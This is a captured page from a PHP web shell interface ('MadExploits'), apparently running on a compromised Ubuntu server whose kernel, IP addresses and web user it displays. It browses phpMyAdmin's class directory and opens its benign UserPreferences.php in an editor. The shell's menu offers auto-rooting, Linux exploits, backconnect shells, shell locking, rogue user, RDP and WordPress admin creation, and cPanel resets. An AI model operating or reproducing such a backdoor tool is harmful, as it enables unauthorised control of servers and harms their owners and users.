Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
phpmyadmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Providers
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Twig
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
Advisor.php
12.22
KB
-rw-r--r--
Bookmark.php
10.69
KB
-rw-r--r--
BrowseForeigners.php
10.82
KB
-rw-r--r--
Charsets.php
7.1
KB
-rw-r--r--
CheckUserPrivileges.php
11.94
KB
-rw-r--r--
Config.php
45.37
KB
-rw-r--r--
Console.php
3.38
KB
-rw-r--r--
Core.php
42.33
KB
-rw-r--r--
CreateAddField.php
17.57
KB
-rw-r--r--
DatabaseInterface.php
75
KB
-rw-r--r--
DbTableExists.php
3.21
KB
-rw-r--r--
Encoding.php
8.51
KB
-rw-r--r--
Error.php
13.97
KB
-rw-r--r--
ErrorHandler.php
17.15
KB
-rw-r--r--
ErrorReport.php
9.14
KB
-rw-r--r--
Export.php
46.24
KB
-rw-r--r--
File.php
21.28
KB
-rw-r--r--
FileListing.php
2.85
KB
-rw-r--r--
Font.php
5.58
KB
-rw-r--r--
Footer.php
10.54
KB
-rw-r--r--
Git.php
17.95
KB
-rw-r--r--
Header.php
21.45
KB
-rw-r--r--
Import.php
57.46
KB
-rw-r--r--
Index.php
15.07
KB
-rw-r--r--
IndexColumn.php
4.23
KB
-rw-r--r--
InsertEdit.php
130.18
KB
-rw-r--r--
InternalRelations.php
17.31
KB
-rw-r--r--
IpAllowDeny.php
9.76
KB
-rw-r--r--
Language.php
4.46
KB
-rw-r--r--
LanguageManager.php
23.96
KB
-rw-r--r--
Linter.php
5.25
KB
-rw-r--r--
ListAbstract.php
1.77
KB
-rw-r--r--
ListDatabase.php
4.3
KB
-rw-r--r--
Logging.php
2.72
KB
-rw-r--r--
Menu.php
21.3
KB
-rw-r--r--
Message.php
19.09
KB
-rw-r--r--
Mime.php
916
B
-rw-r--r--
Normalization.php
41.48
KB
-rw-r--r--
OpenDocument.php
8.42
KB
-rw-r--r--
Operations.php
37.84
KB
-rw-r--r--
OutputBuffering.php
3.98
KB
-rw-r--r--
ParseAnalyze.php
2.37
KB
-rw-r--r--
Partition.php
7.17
KB
-rw-r--r--
Pdf.php
4.34
KB
-rw-r--r--
Plugins.php
25.18
KB
-rw-r--r--
Profiling.php
2.26
KB
-rw-r--r--
RecentFavoriteTable.php
12.01
KB
-rw-r--r--
Relation.php
77.39
KB
-rw-r--r--
RelationCleanup.php
14.7
KB
-rw-r--r--
Replication.php
4.73
KB
-rw-r--r--
ReplicationGui.php
21.52
KB
-rw-r--r--
ReplicationInfo.php
4.83
KB
-rw-r--r--
Response.php
16.47
KB
-rw-r--r--
Routing.php
5.71
KB
-rw-r--r--
Sanitize.php
12.13
KB
-rw-r--r--
SavedSearches.php
11.93
KB
-rw-r--r--
Scripts.php
3.64
KB
-rw-r--r--
Session.php
8.01
KB
-rw-r--r--
Sql.php
66.67
KB
-rw-r--r--
SqlQueryForm.php
7.12
KB
-rw-r--r--
StorageEngine.php
12.53
KB
-rw-r--r--
SubPartition.php
3.32
KB
-rw-r--r--
SystemDatabase.php
3.66
KB
-rw-r--r--
Table.php
95.67
KB
-rw-r--r--
TablePartitionDefinition.php
6.51
KB
-rw-r--r--
Template.php
3.87
KB
-rw-r--r--
Theme.php
8.76
KB
-rw-r--r--
ThemeManager.php
9.58
KB
-rw-r--r--
Tracker.php
29.78
KB
-rw-r--r--
Tracking.php
37.25
KB
-rw-r--r--
Transformations.php
16.29
KB
-rw-r--r--
TwoFactor.php
6.8
KB
-rw-r--r--
Types.php
25.2
KB
-rw-r--r--
Url.php
8.76
KB
-rw-r--r--
UserPassword.php
7.11
KB
-rw-r--r--
UserPreferences.php
8.45
KB
-rw-r--r--
Util.php
102.31
KB
-rw-r--r--
Version.php
533
B
-rw-r--r--
VersionInformation.php
7.15
KB
-rw-r--r--
ZipExtension.php
10.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : UserPreferences.php
<?php declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\Config\ConfigFile; use PhpMyAdmin\Config\Forms\User\UserFormList; use function array_flip; use function array_merge; use function basename; use function http_build_query; use function is_array; use function json_decode; use function json_encode; use function strpos; use function time; use function urlencode; /** * Functions for displaying user preferences pages */ class UserPreferences { /** @var Relation */ private $relation; /** @var Template */ public $template; public function __construct() { global $dbi; $this->relation = new Relation($dbi); $this->template = new Template(); } /** * Common initialization for user preferences modification pages * * @param ConfigFile $cf Config file instance * * @return void */ public function pageInit(ConfigFile $cf) { $forms_all_keys = UserFormList::getFields(); $cf->resetConfigData(); // start with a clean instance $cf->setAllowedKeys($forms_all_keys); $cf->setCfgUpdateReadMapping( [ 'Server/hide_db' => 'Servers/1/hide_db', 'Server/only_db' => 'Servers/1/only_db', ] ); $cf->updateWithGlobalConfig($GLOBALS['cfg']); } /** * Loads user preferences * * Returns an array: * * config_data - path => value pairs * * mtime - last modification time * * type - 'db' (config read from pmadb) or 'session' (read from user session) * * @return array */ public function load() { global $dbi; $cfgRelation = $this->relation->getRelationsParam(); if (! $cfgRelation['userconfigwork']) { // no pmadb table, use session storage if (! isset($_SESSION['userconfig'])) { $_SESSION['userconfig'] = [ 'db' => [], 'ts' => time(), ]; } return [ 'config_data' => $_SESSION['userconfig']['db'], 'mtime' => $_SESSION['userconfig']['ts'], 'type' => 'session', ]; } // load configuration from pmadb $query_table = Util::backquote($cfgRelation['db']) . '.' . Util::backquote($cfgRelation['userconfig']); $query = 'SELECT `config_data`, UNIX_TIMESTAMP(`timevalue`) ts' . ' FROM ' . $query_table . ' WHERE `username` = \'' . $dbi->escapeString($cfgRelation['user']) . '\''; $row = $dbi->fetchSingleRow($query, 'ASSOC', DatabaseInterface::CONNECT_CONTROL); return [ 'config_data' => $row ? json_decode($row['config_data'], true) : [], 'mtime' => $row ? $row['ts'] : time(), 'type' => 'db', ]; } /** * Saves user preferences * * @param array $config_array configuration array * * @return true|Message */ public function save(array $config_array) { global $dbi; $cfgRelation = $this->relation->getRelationsParam(); $server = $GLOBALS['server'] ?? $GLOBALS['cfg']['ServerDefault']; $cache_key = 'server_' . $server; if (! $cfgRelation['userconfigwork']) { // no pmadb table, use session storage $_SESSION['userconfig'] = [ 'db' => $config_array, 'ts' => time(), ]; if (isset($_SESSION['cache'][$cache_key]['userprefs'])) { unset($_SESSION['cache'][$cache_key]['userprefs']); } return true; } // save configuration to pmadb $query_table = Util::backquote($cfgRelation['db']) . '.' . Util::backquote($cfgRelation['userconfig']); $query = 'SELECT `username` FROM ' . $query_table . ' WHERE `username` = \'' . $dbi->escapeString($cfgRelation['user']) . '\''; $has_config = $dbi->fetchValue( $query, 0, 0, DatabaseInterface::CONNECT_CONTROL ); $config_data = json_encode($config_array); if ($has_config) { $query = 'UPDATE ' . $query_table . ' SET `timevalue` = NOW(), `config_data` = \'' . $dbi->escapeString($config_data) . '\'' . ' WHERE `username` = \'' . $dbi->escapeString($cfgRelation['user']) . '\''; } else { $query = 'INSERT INTO ' . $query_table . ' (`username`, `timevalue`,`config_data`) ' . 'VALUES (\'' . $dbi->escapeString($cfgRelation['user']) . '\', NOW(), ' . '\'' . $dbi->escapeString($config_data) . '\')'; } if (isset($_SESSION['cache'][$cache_key]['userprefs'])) { unset($_SESSION['cache'][$cache_key]['userprefs']); } if (! $dbi->tryQuery($query, DatabaseInterface::CONNECT_CONTROL)) { $message = Message::error(__('Could not save configuration')); $message->addMessage( Message::rawError( $dbi->getError(DatabaseInterface::CONNECT_CONTROL) ), '<br><br>' ); return $message; } return true; } /** * Returns a user preferences array filtered by $cfg['UserprefsDisallow'] * (exclude list) and keys from user preferences form (allow list) * * @param array $config_data path => value pairs * * @return array */ public function apply(array $config_data) { $cfg = []; $excludeList = array_flip($GLOBALS['cfg']['UserprefsDisallow']); $allowList = array_flip(UserFormList::getFields()); // allow some additional fields which are custom handled $allowList['ThemeDefault'] = true; $allowList['lang'] = true; $allowList['Server/hide_db'] = true; $allowList['Server/only_db'] = true; $allowList['2fa'] = true; foreach ($config_data as $path => $value) { if (! isset($allowList[$path]) || isset($excludeList[$path])) { continue; } Core::arrayWrite($path, $cfg, $value); } return $cfg; } /** * Updates one user preferences option (loads and saves to database). * * No validation is done! * * @param string $path configuration * @param mixed $value value * @param mixed $default_value default value * * @return true|Message */ public function persistOption($path, $value, $default_value) { $prefs = $this->load(); if ($value === $default_value) { if (! isset($prefs['config_data'][$path])) { return true; } unset($prefs['config_data'][$path]); } else { $prefs['config_data'][$path] = $value; } return $this->save($prefs['config_data']); } /** * Redirects after saving new user preferences * * @param string $file_name Filename * @param array|null $params URL parameters * @param string $hash Hash value * * @return void */ public function redirect( $file_name, $params = null, $hash = null ) { // redirect $url_params = ['saved' => 1]; if (is_array($params)) { $url_params = array_merge($params, $url_params); } if ($hash) { $hash = '#' . urlencode($hash); } Core::sendHeaderLocation('./' . $file_name . Url::getCommonRaw($url_params, strpos($file_name, '?') === false ? '?' : '&') . $hash); } /** * Shows form which allows to quickly load * settings stored in browser's local storage * * @return string */ public function autoloadGetHeader() { if (isset($_REQUEST['prefs_autoload']) && $_REQUEST['prefs_autoload'] === 'hide' ) { $_SESSION['userprefs_autoload'] = true; return ''; } $script_name = basename(basename($GLOBALS['PMA_PHP_SELF'])); $return_url = $script_name . '?' . http_build_query($_GET, '', '&'); return $this->template->render('preferences/autoload', [ 'hidden_inputs' => Url::getHiddenInputs(), 'return_url' => $return_url, ]); } }
Close